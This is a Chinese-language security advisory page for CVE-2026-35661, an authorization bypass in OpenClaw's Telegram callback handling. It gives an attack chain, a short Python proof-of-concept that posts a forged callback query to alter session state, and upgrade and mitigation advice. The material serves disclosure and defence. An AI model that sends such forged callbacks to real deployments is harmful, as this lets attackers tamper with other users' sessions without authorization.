IPBUF安全漏洞报告
English
CVE-2026-35661 CVSS 5.3 中危

CVE-2026-35661 OpenClaw授权绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35661
漏洞类型
授权绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

授权绕过OpenClawTelegram Bot逻辑漏洞会话管理

漏洞概述

OpenClaw在2026.3.25之前的版本中存在一个授权绕过漏洞,该漏洞源于Telegram回调查询处理机制中的安全缺陷。攻击者可以利用此漏洞,在不满足正常直接消息(DM)配对要求的情况下,通过较弱的回调授权机制远程修改会话状态。这意味着攻击者无需完成完整的身份验证流程即可干扰或控制应用会话,从而破坏系统的完整性和逻辑执行。

技术细节

该漏洞的核心原理在于OpenClaw对Telegram回调请求的验证逻辑存在缺陷。正常情况下,修改会话状态需要经过严格的DM配对流程,以确保请求来源的合法性和上下文的准确性。然而,在受影响版本中,系统仅依赖回调数据本身进行授权检查,而忽略了对底层会话配对状态的二次验证。当攻击者向目标发送特制的回调查询时,系统误以为该请求来自已授权的交互上下文,从而允许执行会话状态变更操作。这种逻辑漏洞使得攻击者能够绕过旨在保护敏感操作的访问控制机制,实现未授权的状态篡改。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用受影响版本的OpenClaw(2026.3.25之前),并确定其Telegram Bot接口的端点。
STEP 2
利用
攻击者向目标端点发送特制的Telegram回调查询数据包,该数据包包含用于修改会话状态的指令,但缺少有效的DM配对验证。
STEP 3
影响
由于验证逻辑缺陷,目标系统接受该回调请求并执行状态变更操作,导致会话状态被未授权篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target simulation endpoint for OpenClaw instance target_url = "http://target-openclaw-instance.com/api/telegram/callback" # Malicious payload simulating a Telegram callback query # This attempts to mutate session state without valid DM pairing payload = { "update_id": 100000000, "callback_query": { "id": "123456789", "from": { "id": 999888777, "is_bot": False, "first_name": "Attacker" }, "message": { "message_id": 100, "from": {"id": 111, "is_bot": True, "first_name": "OpenClawBot"}, "chat": {"id": 999888777, "type": "private"}, "date": 1712000000, "text": "Initial Message" }, # Data field crafted to trigger state mutation "data": "command:mutate_session|param:new_state_value" } } headers = {'Content-Type': 'application/json'} try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check if session state was mutated.") print("[+] Response:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", str(e))

影响范围

OpenClaw < 2026.3.25

防御指南

临时缓解措施
建议立即将OpenClaw升级到2026.3.25或更高版本以彻底修复此漏洞。如果暂时无法升级,应在网络层面阻断非受信来源对Bot API的访问,或者在应用层增加中间件,强制检查所有回调请求是否关联已建立的合法DM会话,确保只有经过完整配对的会话才能修改状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表